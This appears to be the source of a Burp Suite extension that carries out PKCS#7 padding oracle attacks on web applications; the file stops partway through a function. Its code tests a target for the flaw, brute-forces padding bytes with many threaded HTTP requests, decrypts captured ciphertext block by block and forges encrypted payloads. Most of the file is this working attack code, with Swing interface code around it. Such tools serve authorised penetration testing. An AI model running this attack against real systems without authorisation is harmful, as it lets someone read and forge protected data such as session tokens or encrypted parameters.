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padding_oracle_hunter.py
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padding_oracle_hunter.py
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from burp import IBurpExtender, IContextMenuFactory, ITab, IExtensionStateListener, IContextMenuInvocation, IHttpRequestResponse
from javax.swing import (JScrollPane, JPanel, JTabbedPane, JTextField, JLabel, JTextArea, JButton, JEditorPane, JMenuItem, JComboBox, JCheckBox, JOptionPane, JProgressBar, GroupLayout)
from java.lang import Short
from java.awt import Color
from binascii import hexlify, unhexlify
import re
import threading
import Queue
import random
import base64
import time
from collections import Counter, namedtuple
class BurpExtender(IBurpExtender, IContextMenuFactory, ITab, IExtensionStateListener):
# *************************************** PKCS#7 ***************************************
# global variables
gReqResPKCS7 = IHttpRequestResponse
gSelectedParamNamePKCS7 = ""
gHttpRequestStringPKCS7 = ""
gHttpRequestRawStringPKCS7 = ""
gPayloadPKCS7=""
gPayloadFormatPKCS7=""
gSelectedPayloadPKCS7=None
gThreadStopPKCS7=False
gOpThreadPKCS7 = None
gIsPayloadUrlEncodedPKCS7 = False
gresDictPKCS7={}
gPlaintextPKCS7 = ""
gIvPKCS7 = ""
gBlockSizePKCS7 = ""
gThreadPKCS7 = ""
gPadMsgPKCS7 = ""
gPadMsgSelPKCS7 = ""
def DisplayOutput_PKCS7(self, text):
self.__jTextAreaOutputPKCS7.append(text)
def Worker_PKCS7(self, payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, PadMsg, start_byte, end_byte, mode, q):
for byteValue in range(start_byte,end_byte):
# Exit the operation if stop button was clicked
if(self.gThreadStopPKCS7):
return
# modify the block according to the padding value
mod_block = current_block[0:blockLen-(numOfPad*2)] + hex(byteValue).rstrip("L").replace('0x','').rjust(2,'0') + mod_byte
if(mode=="test"):
payload = encrypted_payload.replace(current_block, mod_block)
# send the web refresh request to check for oracle
result = self.ServiceRequest_PKCS7(payload)
ResInfo = self._helpers.analyzeResponse(result)
response = result[ResInfo.getBodyOffset():]
self.gresDictPKCS7[payload] = unhexlify(hexlify(response))
else:
if(mode=="enc"):
# dummy block to be appended to the encrypted block so that length is the same as the original payload
dummyblock = self.GetDummyBlock_PKCS7(blockLen *((payloadLen//blockLen)-2))
# send the web request
result = self.ServiceRequest_PKCS7(dummyblock + mod_block + encrypted_payload)
elif(mode=="dec"):
# send the web request
result = self.ServiceRequest_PKCS7(encrypted_payload.replace(current_block,mod_block))
# if the message is an invalid padding message
if self.gPadMsgSelPKCS7=="Invalid":
if (hexlify(PadMsg.encode()) not in hexlify(result)):
decb4xor = byteValue ^ numOfPad
q.put(decb4xor)
return
# if the message is a valid padding message
else:
if (hexlify(PadMsg.encode()) in hexlify(result)):
decb4xor = byteValue ^ numOfPad
q.put(decb4xor)
return
# return if the correct padding is already found
if(not q.empty()):
return
def ServiceRequest_PKCS7(self, encrypted_string):
try:
# Convert the payload back to the original format from hex
payload = self.ConvertFromHexToPayloadFormat(encrypted_string, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
if payload != None:
# Replace the #PAYLOAD# with the actual payload
newHttpRequest = self.gHttpRequestStringPKCS7.replace("#PAYLOAD#", payload)
# Update the http parameters
reqInfo = self._helpers.analyzeRequest(newHttpRequest)
headers = reqInfo.getHeaders()
param = newHttpRequest[reqInfo.getBodyOffset():]
newHttpRequest = self._helpers.buildHttpMessage(headers, param)
# Send the request
httpService = self.gReqResPKCS7.getHttpService()
res = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(httpService.getHost(),httpService.getPort(), httpService.getProtocol() == "https"), newHttpRequest)
return res.getResponse()
except Exception as e:
return ""
def GetDummyBlock_PKCS7(self, length):
HexChar=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
DummyBlock=""
for i in range(0,length):
DummyBlock = DummyBlock + HexChar[random.randint(0,15)]
return DummyBlock
def Test_PKCS7(self, encrypted_string):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7)*2
payloadLen = len(encrypted_string)
nbOfBlock = payloadLen//blockLen
dummyblock = self.GetDummyBlock_PKCS7(blockLen*(nbOfBlock-1))
encrypted_payload = dummyblock + encrypted_string[-blockLen:]
current_block = encrypted_payload[-(blockLen*2):][0:blockLen]
self.gresDictPKCS7 = {}
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, "", 1, "", start_byte_range, end_byte_range, "test", None))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, "", 1, "", start_byte_range, end_byte_range, "test", None))
threads.append(x)
x.start()
# wait until all threads are complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# check the padding responses
resCount = Counter(self.gresDictPKCS7.values())
if len(resCount)==2:
validPadRes = ""
invalidPadRes = ""
isValidPadResFound = False
isInvalidPadResFound = False
for response in resCount:
# if there is 1 unique response, it is likely the valid padding response
if(resCount[response]==1):
isValidPadResFound = True
validPadRes = response
# there should be 255 same reponses for invalid padding
elif(resCount[response]==255):
isInvalidPadResFound = True
invalidPadRes = response
# check and print the result
if(isValidPadResFound==True and isInvalidPadResFound==True):
self.__jTextAreaOutputPKCS7.setForeground(Color(255, 0, 0))
key_list = list(self.gresDictPKCS7.keys())
val_list = list(self.gresDictPKCS7.values())
# Retrive the payload for invalid padding
invalidpad_payload = key_list[val_list.index(invalidPadRes)]
invalidpad_payload = self.ConvertFromHexToPayloadFormat(invalidpad_payload, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
# Retrive the payload for valid padding
validpad_payload = key_list[val_list.index(validPadRes)]
validpad_payload = self.ConvertFromHexToPayloadFormat(validpad_payload, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
# Display the invalid padding response
self.DisplayOutput_PKCS7("**** Invalid Padding: ****\n")
self.DisplayOutput_PKCS7("Payload:\n{}\n".format(invalidpad_payload))
self.DisplayOutput_PKCS7("Response:\n{}\n\n".format(invalidPadRes))
# Display the valid padding response
self.DisplayOutput_PKCS7("**** Valid Padding: ****\n")
self.DisplayOutput_PKCS7("Payload:\n{}\n".format(validpad_payload))
self.DisplayOutput_PKCS7("Response:\n{}\n\n".format(validPadRes))
# Display the conclusion
self.DisplayOutput_PKCS7("The server is likely vulnerable to padding oracle attack\n")
else:
# Display the conclusion
self.DisplayOutput_PKCS7("The server is not vulnerable to padding oracle attack\n")
else:
# Display the conclusion
self.DisplayOutput_PKCS7("The server is not vulnerable to padding oracle attack\n")
# set progress bar to complete
self.__jProgressBarPKCS7.setValue(100)
self.__jProgressBarPKCS7.setString("Done")
def Encryption_PKCS7(self):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7) *2
plaintextblock = []
ciphertext=""
self.DisplayOutput_PKCS7("Encrypting plaintext: {}\n".format(self.gPlaintextPKCS7))
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# calculate and compute the padding
padding_len = (len(self.gPlaintextPKCS7)//2)%int(self.gBlockSizePKCS7)
if(padding_len==0):
padding_len=int(self.gBlockSizePKCS7)
else:
padding_len = int(self.gBlockSizePKCS7) - padding_len
padding = (hex(padding_len).rstrip("L").replace('0x','').rjust(2,'0'))*padding_len
msg_hex = self.gPlaintextPKCS7 + padding
payloadLen = len(msg_hex)
# store the plaintext as blocks
for index in range(len(msg_hex),0,-blockLen):
plaintextblock.append(msg_hex[index-blockLen:index])
# set last encrypted block with random bytes
last_encrypted_payload = self.GetDummyBlock_PKCS7(blockLen)
encrypted_payload = last_encrypted_payload
# store the last blocks as ciphertext
ciphertext = last_encrypted_payload
# Start computing the ciphertext
self.DisplayOutput_PKCS7('Computing Padding Oracle Encryption..\n')
self.DisplayOutput_PKCS7("Computed Blocks in Hexadecimal:\n")
self.DisplayOutput_PKCS7("block 1: {}\n".format(encrypted_payload))
for i in range(0,len(plaintextblock)):
decb4xorstring=""
mod_byte=""
current_block = self.GetDummyBlock_PKCS7(blockLen)
# number of byte for padding
for numOfPad in range(1,int(self.gBlockSizePKCS7)+1):
if(decb4xorstring!=""):
tmp_byte = (hex(numOfPad).rstrip("L").replace('0x','').rjust(2,'0'))*(numOfPad-1)
mod_byte = hex(int(tmp_byte,16) ^ int(decb4xorstring,16)).rstrip("L").replace('0x','').rjust((numOfPad-1)*2,'0')
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
q = Queue.Queue()
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "enc", q))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "enc", q))
threads.append(x)
x.start()
# wait until all threads complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# if the valid padding is found
if(not q.empty()):
decb4xor = q.get()
q.task_done()
decb4xorstring = hex(decb4xor).rstrip("L").replace('0x','').rjust(2,'0') + decb4xorstring
index = blockLen-(numOfPad*2)
ciphertext = hex(decb4xor ^ int(plaintextblock[i][index:index+2],16)).rstrip("L").replace('0x','').rjust(2,'0') + ciphertext
else:
self.DisplayOutput_PKCS7("\nUnable to find valid padding!\n")
self.__jProgressBarPKCS7.setString("")
return
# assigned the current recovered ciphertext to encrypted payload
encrypted_payload = ciphertext[0:blockLen]
self.DisplayOutput_PKCS7("block {}: {}\n".format(i+2,encrypted_payload))
# update the progress bar
progress = int((i+1)/float(len(plaintextblock))*100)
self.__jProgressBarPKCS7.setValue(progress)
# return the encrypted payload into the desired format
ciphertext = self.ConvertFromHexToPayloadFormat(ciphertext, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
if(ciphertext!=None):
# set progress bar to complete
self.__jProgressBarPKCS7.setString("Done")
# output the encrypted payload
self.DisplayOutput_PKCS7("\nencrypted payload:\n")
self.DisplayOutput_PKCS7("{}\n".format(ciphertext))
def Decryption_PKCS7(self, encrypted_string):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7)*2
plaintext=""
blocktext=""
# Prepend IV to the ciphertext if it is not in the ciphertext
if (encrypted_string[0:blockLen] != self.gIvPKCS7):
encrypted_string = self.gIvPKCS7 + encrypted_string
payloadLen = len(encrypted_string)
nbOfBlock = payloadLen//blockLen
dummyblock = self.GetDummyBlock_PKCS7(blockLen*(nbOfBlock-1))
blockCounter=1
self.DisplayOutput_PKCS7("Decrypting ciphertext: {}\n".format(encrypted_string[blockLen::]))
self.DisplayOutput_PKCS7("IV: {}\n".format(self.gIvPKCS7))
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# Start decryption
self.DisplayOutput_PKCS7("Computing Padding Oracle Decryption......\n")
self.DisplayOutput_PKCS7("Recovered Blocks in Hexadecimal:\n")
# Split the block (value of n-1 block is required to recover n block)
for block in range(nbOfBlock-2,-1,-1):
decb4xorstring=""
mod_byte=""
# number of byte for padding
for numOfPad in range(1,int(self.gBlockSizePKCS7)+1):
# Extract the current encrypted byte to be recovered
currentByte = encrypted_string[-(blockCounter*blockLen)-(numOfPad*2):][0:2]
# Prepare the payload
encrypted_payload = dummyblock + encrypted_string[(-blockCounter*blockLen):][0:blockLen]
# Extract the current working block
current_block = encrypted_payload[(-blockLen*2):][0:blockLen]
if(decb4xorstring!=""):
tmp_byte = (hex(numOfPad).rstrip("L").replace('0x','').rjust(2,'0'))*(numOfPad-1)
mod_byte = hex(int(tmp_byte,16) ^ int(decb4xorstring,16)).rstrip("L").replace('0x','').rjust((numOfPad-1)*2,'0')
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
q = Queue.Queue()
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "dec", q))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "dec", q))
threads.append(x)
x.start()
# wait until all threads complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# if the valid padding is found
if(not q.empty()):
decb4xor = q.get()
q.task_done()
decb4xorstring = hex(decb4xor).rstrip("L").replace('0x','').rjust(2,'0') + decb4xorstring
index = blockLen-(numOfPad*2)
blocktext = hex(decb4xor ^ int(currentByte,16)).rstrip("L").replace('0x','').rjust(2,'0') + blocktext
else:
self.DisplayOutput_PKCS7("\nUnable to find correct padding!\n")
self.__jProgressBarPKCS7.setString("")
return
plaintext = blocktext + plaintext
self.DisplayOutput_PKCS7("block {}: {}\n".format(blockCounter,blocktext))
blocktext=""
# update the progress bar
progress = int((blockCounter/float(nbOfBlock-1))*100)
self.__jProgressBarPKCS7.setValue(progress)
blockCounter = blockCounter+1
# set progress bar to complete
self.__jProgressBarPKCS7.setString("Done")
# output the plaintext
self.DisplayOutput_PKCS7("\nDecrypted plaintext:\n")
self.DisplayOutput_PKCS7("Hex: {}\n".format(plaintext))
self.DisplayOutput_PKCS7("Bytes: {}\n".format(unhexlify(plaintext)))
def InputValidation_PKCS7(self, mode):
try:
# Set default font display to black
self.__jTextAreaOutputPKCS7.setForeground(Color(0, 0, 0))
# make sure all the previous thread was terminated
if self.gOpThreadPKCS7!=None and self.gOpThreadPKCS7.isAlive():
JOptionPane.showMessageDialog(self._jPaddingOracleTab,"Previous thread is still running! Please click the stop button to terminate it", "Warning", JOptionPane.WARNING_MESSAGE)
return False
# reset the variables
self.gThreadStopPKCS7 = False
self.__jTextAreaOutputPKCS7.setText("")
self.__jProgressBarPKCS7.setValue(0)
self.__jProgressBarPKCS7.setString("")
self.__jProgressBarPKCS7.setStringPainted(True)
# check if the payload is selected
if self.gSelectedPayloadPKCS7==None:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Incorrect payload selection!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# Get block size
self.gBlockSizePKCS7 = self.__jComboBoxBlockSizePKCS7.getSelectedItem()
# Get number of thread
thread = re.sub('\W+','',self.__textThreadPKCS7.getText())
if thread=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide a valid thread number!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gThreadPKCS7 = thread
# Get plaintext for encryption operation
if mode=="encrypt":
plaintext_string = re.sub('\W+','', self.__textPlaintextPKCS7.getText())
if plaintext_string=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide the plaintext in hexadecimal!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# check whether the plaintext is hexadecimal value
unhexlify(plaintext_string.encode())
self.gPlaintextPKCS7 = plaintext_string
# verify the length of ciphertext and IV
if mode=="decrypt" or mode=="test":
# The length of the ciphertext need to be multiple of block size
if((len(self.gPayloadPKCS7)+(int(self.gBlockSizePKCS7)*2)) % (int(self.gBlockSizePKCS7)*2)!=0):
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Invalid length of the selected ciphertext!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# Validate for IV
iv_string = re.sub('\W+','', self.__textIvPKCS7.getText())
# IV is provided
if iv_string!="":
# check whether the length of IV is same as the block size
if len(iv_string)!=int(self.gBlockSizePKCS7)*2:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "The length of the IV must be the same as Block Size!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# check whether the iv is hexadecimal value
unhexlify(iv_string.encode())
self.gIvPKCS7 = iv_string
# No IV is provided
else:
# check ciphertext length need to be at least 2 block
if(len(self.gPayloadPKCS7) < int(self.gBlockSizePKCS7)*4):
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Insufficient length of the ciphertext, it needs to has at least 2 blocks!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gIvPKCS7 = self.gPayloadPKCS7[0:int(self.gBlockSizePKCS7)*2]
# Only used in the encryption or decryption operations
if mode!="test":
# Get valid or invalid padding message
self.gPadMsgSelPKCS7 = self.__jComboBoxPadMsgPKCS7.getSelectedItem()
PadMsg = self.__textPadMessagePKCS7.getText()
if PadMsg=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide part or full of the valid or invalid padding response!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gPadMsgPKCS7 = PadMsg
return True
except Exception as e:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, e, "Exception", JOptionPane.ERROR_MESSAGE)
return False
def setGUI_PKCS7(self):
self.__jPanelPKCS7 = JPanel()
jPanelLayoutPKCS7 = GroupLayout(self.__jPanelPKCS7)
self.__jPanelPKCS7.setLayout(jPanelLayoutPKCS7)
jPanelLayoutPKCS7.setAutoCreateGaps(True)
jPanelLayoutPKCS7.setAutoCreateContainerGaps(True)
self.__jLabelReqPKCS7 = JLabel("Request")
self.__jScrollPaneReqPKCS7 = JScrollPane()
self.__jEditorPaneReqPKCS7 = JEditorPane()
self.__jEditorPaneReqPKCS7.setEditable(False)
self.__jScrollPaneReqPKCS7.setViewportView(self.__jEditorPaneReqPKCS7)
self.__jLabelThreadPKCS7 = JLabel("Thread:")
self.__textThreadPKCS7 = JTextField("1")
self.__textThreadPKCS7.setToolTipText("number of thread")
self.__jLabelBlockSizePKCS7 = JLabel("Block Size:")
self.__jComboBoxBlockSizePKCS7 = JComboBox(['16', '8'])
self.__jComboBoxBlockSizePKCS7.setSelectedIndex(0)
self.__jLabelPadMessagePKCS7 = JLabel("Padding Response:")
self.__textPadMessagePKCS7 = JTextField()
self.__textPadMessagePKCS7.setToolTipText("part or full of the valid or invalid padding response, only used in the encryption and decryption operations")
self.__jComboBoxPadMsgPKCS7 = JComboBox(['Invalid', 'Valid'])
self.__jComboBoxPadMsgPKCS7.setSelectedIndex(0)
self.__jButtonClearPayloadPKCS7 = JButton("Clear Selection",actionPerformed=self.clearPayload_PKCS7)
self.__jButtonSelPayloadPKCS7 = JButton("Select Payload",actionPerformed=self.selectPayload_PKCS7)
self.__jLabelFormatPKCS7 = JLabel("Format:")
self.__jComboBoxFormatPKCS7 = JComboBox(['Hex', 'Base64', 'Decimal'])
self.__jComboBoxFormatPKCS7.setSelectedIndex(0)
self.__jCheckBoxUrlEncodedPKCS7=JCheckBox("Url Encoded")
self.__jButtonTestPKCS7 = JButton("Test", actionPerformed=self.testPayload_PKCS7)
self.__jButtonEncPKCS7 = JButton("Encrypt", actionPerformed=self.encryptPayload_PKCS7)
self.__jButtonDecPKCS7 = JButton("Decrypt", actionPerformed=self.decryptPayload_PKCS7)
self.__jButtonStopPKCS7 = JButton("Stop", actionPerformed=self.stopOperation_PKCS7)
self.__jLabelOutPKCS7 = JLabel("Output")
self.__jTextAreaOutputPKCS7 = JTextArea()
self.__jTextAreaOutputPKCS7.setEditable(False)
self.__jTextAreaOutputPKCS7.setColumns(20)
self.__jTextAreaOutputPKCS7.setRows(5)
self.__jScrollPaneOutPKCS7 = JScrollPane()
self.__jScrollPaneOutPKCS7.setViewportView(self.__jTextAreaOutputPKCS7)
self.__jLabelPlaintextPKCS7 = JLabel("Plaintext:")
self.__textPlaintextPKCS7 = JTextField()
self.__textPlaintextPKCS7.setToolTipText("plaintext in hexadecimal, only use in the encryption operation")
self.__jLabelIvPKCS7 = JLabel("IV:")
self.__textIvPKCS7 = JTextField()
self.__textIvPKCS7.setToolTipText("IV in hexadecimal, only use in decryption operation. If it is empty, the first block of the selected payload will be used as IV")
self.__jProgressBarPKCS7 = JProgressBar()
jPanelLayoutPKCS7.setHorizontalGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelReqPKCS7)
.addComponent(self.__jScrollPaneReqPKCS7, GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGap(300, 300, 300)
.addComponent(self.__jButtonSelPayloadPKCS7)
.addGap(20, 20, 20)
.addComponent(self.__jLabelFormatPKCS7)
.addComponent(self.__jComboBoxFormatPKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
.addComponent(self.__jCheckBoxUrlEncodedPKCS7)
.addGap(20, 20, 20)
.addComponent(self.__jButtonClearPayloadPKCS7))
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelThreadPKCS7)
.addComponent(self.__jLabelBlockSizePKCS7)
.addComponent(self.__jLabelPadMessagePKCS7)
.addComponent(self.__jLabelPlaintextPKCS7)
.addComponent(self.__jLabelIvPKCS7))
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__textThreadPKCS7, GroupLayout.PREFERRED_SIZE, 112, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxBlockSizePKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPadMessagePKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPlaintextPKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textIvPKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jComboBoxPadMsgPKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addComponent(self.__jLabelOutPKCS7)
.addComponent(self.__jScrollPaneOutPKCS7,GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGap(165, 165, 165)
.addComponent(self.__jButtonTestPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonEncPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonDecPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonStopPKCS7))
.addComponent(self.__jProgressBarPKCS7, GroupLayout.PREFERRED_SIZE, 1080, GroupLayout.PREFERRED_SIZE)
)
jPanelLayoutPKCS7.setVerticalGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addComponent(self.__jLabelReqPKCS7)
.addComponent(self.__jScrollPaneReqPKCS7, GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(15, 15, 15)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jButtonSelPayloadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jLabelFormatPKCS7)
.addComponent(self.__jComboBoxFormatPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jCheckBoxUrlEncodedPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonClearPayloadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelThreadPKCS7)
.addComponent(self.__textThreadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelBlockSizePKCS7)
.addComponent(self.__jComboBoxBlockSizePKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelPadMessagePKCS7)
.addComponent(self.__textPadMessagePKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxPadMsgPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelPlaintextPKCS7)
.addComponent(self.__textPlaintextPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelIvPKCS7)
.addComponent(self.__textIvPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jLabelOutPKCS7)
.addComponent(self.__jScrollPaneOutPKCS7,GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jButtonTestPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonEncPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonDecPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonStopPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE))
.addGap(50, 50, 50)
.addComponent(self.__jProgressBarPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
)
def stopOperation_PKCS7(self, button):
self.DisplayOutput_PKCS7("Operation halted!\n")
self.gThreadStopPKCS7 = True
self.__jProgressBarPKCS7.setValue(0)
self.__jProgressBarPKCS7.setString("")
def testPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("test")
if(initStatus):
# Start the Test thread
self.__jProgressBarPKCS7.setString("Testing...")
encrypted_string = self.gPayloadPKCS7
self.gOpThreadPKCS7 = threading.Thread(target=self.Test_PKCS7, args=(encrypted_string,))
self.gOpThreadPKCS7.start()
def encryptPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("encrypt")
if(initStatus):
# Start the Encryption Thread
self.__jProgressBarPKCS7.setString("Encrypting...")
self.gOpThreadPKCS7 = threading.Thread(target=self.Encryption_PKCS7)
self.gOpThreadPKCS7.start()
def decryptPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("decrypt")
if(initStatus):
# Start the Decryption Thread
self.__jProgressBarPKCS7.setString("Decrypting...")
encrypted_string = self.gPayloadPKCS7
self.gOpThreadPKCS7 = threading.Thread(target=self.Decryption_PKCS7, args=(encrypted_string,))
self.gOpThreadPKCS7.start()
def clearPayload_PKCS7(self, button):
if self.gHttpRequestRawStringPKCS7 !="":
self.__jEditorPaneReqPKCS7.setText(self.gHttpRequestRawStringPKCS7)
self.gSelectedPayloadPKCS7 = None
# Enabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setEnabled(True)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(True)
def selectPayload_PKCS7(self, button):
# Retrieve the selected the payload
payload = self.__jEditorPaneReqPKCS7.getSelectedText().replace("\n", "")
# Stored the selected the payload
self.gSelectedPayloadPKCS7 = payload
if(payload!=None):
# Check whether the payload is url encoded.
if self.__jCheckBoxUrlEncodedPKCS7.isSelected():
self.gIsPayloadUrlEncodedPKCS7 = True
try:
# Get the payload format and convert it to hex
payload = self.ConverToHexFromPayloadFormat(payload, self.__jComboBoxFormatPKCS7.getSelectedItem(), self.gIsPayloadUrlEncodedPKCS7)
if(payload!=None):
# validate whether the payload is hex
unhexlify(payload.encode())
self.gPayloadPKCS7 = payload
self.gPayloadFormatPKCS7 = self.__jComboBoxFormatPKCS7.getSelectedItem()
# Replace the selected payload with #PAYLOAD# so that we can process it during the attack
self.gHttpRequestStringPKCS7 = self.gHttpRequestRawStringPKCS7.replace(self.gSelectedPayloadPKCS7, "#PAYLOAD#")
# Show the selected the payload
bytesDisplay = self.gHttpRequestRawStringPKCS7.encode()
insertionPointChar = chr(167)
